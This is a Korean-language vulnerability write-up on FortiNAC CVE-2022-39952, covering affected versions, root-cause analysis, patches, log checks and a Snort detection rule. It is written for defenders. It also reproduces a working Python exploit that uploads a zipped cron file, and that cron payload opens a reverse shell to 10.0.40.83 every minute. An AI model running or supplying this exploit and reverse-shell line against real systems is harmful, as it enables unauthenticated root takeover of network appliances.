1. FortiNAC
- Fortinet의 네트워크 접근 솔루션 중 하나
- 네트워크에 연결하는 모든 항목에 대한 가시성, 제어, 자동 대응을 제공함으로써 보안 패브릭을 강화하는 포티넷의 네트워크 액세스 제어 솔루션
2. 취약점
- 인증되지 않은 공격자가 시스템에 임의 파일을 작성하고 root 권한으로 원격 코드를 실행할 수 있는 취약점
- Fortinet 보안팀에서 제일 먼저 발견
영향받는 버전
- FortiNAC 버전 9.4.0
- FortiNAC 버전 9.2.0 ~ 9.2.5
- FortiNAC 버전 9.1.0 ~ 9.1.7
- FortiNAC 8.8 모든 버전
- FortiNAC 8.7 모든 버전
- FortiNAC 8.6 모든 버전
- FortiNAC 8.5 모든 버전
- FortiNAC 8.3 모든 버전
2.1 분석 [6]
- 취약점은 keyUpload.jsp에서 발생
- 해당 파일의 내용을 확인하면 key 매개 변수에 파일을 제공하는 요청을 분석하는데 검증을 수행하지 않는 것으로 판단됨.
- 요청에서 key 매개변수가 확인되면, /bsc/campusMgr/config.applianceKey에 추가
- Runtime.exec("~") (= rtKey.exec("~"))로 /bsc/campusMgr/bin/configApplianceXml에 있는 bash 스크립트를 실행
- bash 스크립트는 root 디렉터리로 이동(cd /) 후 작성된 파일의(공격자 파일) 압축을 해제(unzip -o)
- 결론적으로, bash 스크립트에 의해 작업 디렉터리는 / 이므로 공격자는 임의의 파일을 쓸 수 있게 됨
2.2 PoC [5]
- PoC를 확인해보면 총 2가지로 이루어져 있음
① 공격을 위한 파일 생성
② 업로드한 공격 파일 업로드
- 공격자는 payload파일의 내용을 /etc/cron.d/payload에 cron 작업으로 작성
> cron 작업은 매 분마다 실행되고 공격자에게 리버스 쉘 생성
#!/usr/bin/python3
import argparse
import requests
import zipfile
import urllib3
urllib3.disable_warnings()
def exploit(target):
url = f'https://{target}:8443/configWizard/keyUpload.jsp'
r = requests.post(url, files={'key': open('payload.zip', 'rb')}, verify=False)
if 'SuccessfulUpload' in r.text:
print(f'[+] Payload successfully delivered')
def make_zip(payload_file):
fullpath = '/etc/cron.d/payload'
zf = zipfile.ZipFile('payload.zip', 'w')
zf.write(payload_file, fullpath)
zf.close()
print(f'[+] Wrote {payload_file} to {fullpath}')
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target', help='The IP address of the target', required=True)
parser.add_argument('-f', '--file', help='The cronjob payload file', required=True)
args = parser.parse_args()
make_zip(args.file)
exploit(args.target)
- payload 파일 내용
> cron 작업은 매 분마다 실행되고 공격자에게 리버스 쉘 생성
* * * * * root bash -i >& /dev/tcp/10.0.40.83/443 0>&1
3. 대응방안
3.1 서버측면
① 벤더사에서 제공하는 최신 업데이트 적용 [7]
- 취약점 패치 버전
> FortiNAC 버전 9.4.1 이상
> FortiNAC 버전 9.2.6 이상
> FortiNAC 버전 9.1.8 이상
> FortiNAC 버전 7.2.0 이상
- 패치 버전을 확인해보면 keyUpload.jsp를 삭제한 것으로 판단됨
② /bsc/logs/output.master 로그 확인
- 공격자가 해당 로그를 삭제하지 않는 한 로그를 통해 확인 가능
tail -f /bsc/logs/output.master
③ cron 확인
- cron을 사용하는 경우 페이로드 파일에 적절한 사용 권한과 소유자가 있는지 확인 후 조치
3.2 네트워크 측면
① 탐지 정책 적용 및 모니터링
alert tcp any any -> any any (msg:"FortiNAC HTTP Request RCE (CVE-2022-39952)"; content:"/configWizard/keyUpload.jsp";flow:to_server,established;fast_pattern:only;http_uri; content:"name=|22|key|22|"; nocase;http_client_body; content:"filename="; nocase;)
4. 참고
[1] https://nvd.nist.gov/vuln/detail/CVE-2022-39952
[2] https://www.boannews.com/media/view.asp?idx=114481&page=1&kind=1
[3] https://www.bleepingcomputer.com/news/security/exploit-released-for-critical-fortinet-rce-flaws-patch-now/
[4] https://socradar.io/fortinet-patched-critical-rce-vulnerabilities-in-fortinac-and-fortiweb-cve-2022-39952-and-cve-2021-42756/
[5] https://github.com/horizon3ai/CVE-2022-39952
[6] https://www.horizon3.ai/fortinet-fortinac-cve-2022-39952-deep-dive-and-iocs/
[7] https://www.fortiguard.com/psirt/FG-IR-22-300
[8] https://www.fortiguard.com/psirt?date=02-2023
[9] https://www.ddosi.org/cve-2022-39952/
'취약점 > RCE' 카테고리의 다른 글
WinVerifyTrust 서명 유효성 검사 취약성 (CVE-2013-3900) (0) | 2023.04.06 |
---|---|
Fortra GoAnywhere MFT RCE (CVE-2023-0669) (0) | 2023.02.27 |
VMware ESXi OpenSLP 힙 오버플로를 통한 RCE (CVE-2021-21974) (0) | 2023.02.15 |
Oracle WebLogic RCE 역직렬화 취약점 (CVE-2018-2628) (0) | 2023.01.18 |
VMware vCenter Server 원격 코드 실행 취약점 (CVE-2021-21985) (0) | 2023.01.06 |